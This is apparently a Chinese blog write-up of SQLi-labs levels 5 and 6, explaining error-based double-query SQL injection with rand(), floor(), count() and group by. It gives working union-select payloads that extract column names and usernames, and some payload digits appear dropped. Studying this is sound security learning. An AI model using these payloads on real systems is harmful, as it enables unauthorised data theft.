第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1.发现前几关的方法都不能用了,要么报错(没有其他有关信息、要么什么也不出现、要么就是显示you are in....)

把后面的注释符去掉以后,判断是字符型的,因为数字型的直接报错了哈哈而不是回显

2.题目备注是 双注入GET单引号

平时做的那种属于子查询,就是select里面还包含有select

https://www.2cto.com/article/201303/192718.html

双注入查询需要理解四个函数/语句:

Rand() //随机函数

Floor() //取整函数

Count() //汇总函数

Group by clause //分组语句

*rand()

select rand() #出现一个随机数,小于1

*floor()

select floor(1.33333338)#取整数

*concat()

select concat(“123”,“xixi”)#输出结果为123xixi

在这里,我们构造一个复杂的查询语句,

select concat((select database()),floor(rand()*)) from users;#有多少user,显示多少个

把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。

这里是security表,里面装了用户名,相当于这句话就可以查出一共 有多少个用户。如果我们将表换成information_schema.schemata,就可以得出mysql的数据库名。

我们这里再复杂一下:

select concat((select database()),floor(rand()*)) as a from information_schema.schemata by group a;

这句话的意思就是:我们把concat () 这个语句看成 a 这个group,然后这些列都在information里面,然后把同名字的分成一组。

反正想要啥,就在select database()的database这里换就行了。。。

*group by “clause”

*count(*)

聚合函数,可以将我们想要的信息输出在a中

3.解题

第一步找到数据库名字:security

第二步:通过这个表名查user

但是这里报错:subquery returns more than 1 row #返回超过一行,解决方案:

组长博客里面写的有个limit()函数可以解决,我们来看看这是啥子神仙操作:

https://blog.csdn.net/u011277123/article/details/54844834

union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%
union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%
  • 得到闭合字符
  • 猜列数、尝试爆显示位
  • 得到数据库个数和数据库名
  • 得到表个数和表名
  • 得到列数量和列名
  • 得到列值

===========================

第六关  双注入GET双引号字符型注入

1.参数后面为双引号

加入limit函数:

http://192.168.1.115:801/sqli/Less-6/?id=1''
?id=' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1), floor(rand()*2))as a from information_schema.tables group by a#

后面就一样了。。。

最新文章

  1. thinkphp3.2.3版本文件目录及作用
  2. fatal error
  3. COGS 902 乐曲主题 题解 & hash入门贺
  4. Head中的标签
  5. paper 38 :entropy
  6. GUI编程笔记(java)01:GUI和CLI
  7. java基础之代理
  8. Javascript基础 函数“重载”
  9. ORA-00923: FROM keyword not found where expected(单双引号)
  10. vue_vuex
  11. 二维数组中的查找问题--剑指offer面试题3
  12. jmeter每10个停一会实现方案
  13. 数据库每分钟运行监控SQL
  14. [LeetCode] 762. Prime Number of Set Bits in Binary Representation_Easy
  15. python------模块定义、导入、优化 ------->Yaml, l模块
  16. Vue修饰符
  17. npm私服搭建
  18. java之jvm学习笔记十三(jvm基本结构) 通俗易懂的JVM 文件,没有之一
  19. 微信、支付宝App支付-JPay0.0.2发布
  20. BMP文件格式实例分析

热门文章

  1. CF1051F The Shortest Statement Dijkstra + 性质分析
  2. R 文件读写
  3. 【CF1237C】Balanced Removals(降维)
  4. hashcode native
  5. Linux驱动开发2——字符设备驱动
  6. list转datatable,SqlBulkCopy将DataTable中的数据批量插入数据库
  7. 架构-数据库访问-SQL语言进行连接数据库服务器-DAO:DAO
  8. linux文本图形界面转换
  9. VMware 虚拟化编程(3) —VMware vSphere Web Service API 解析
  10. django框架ORM数据库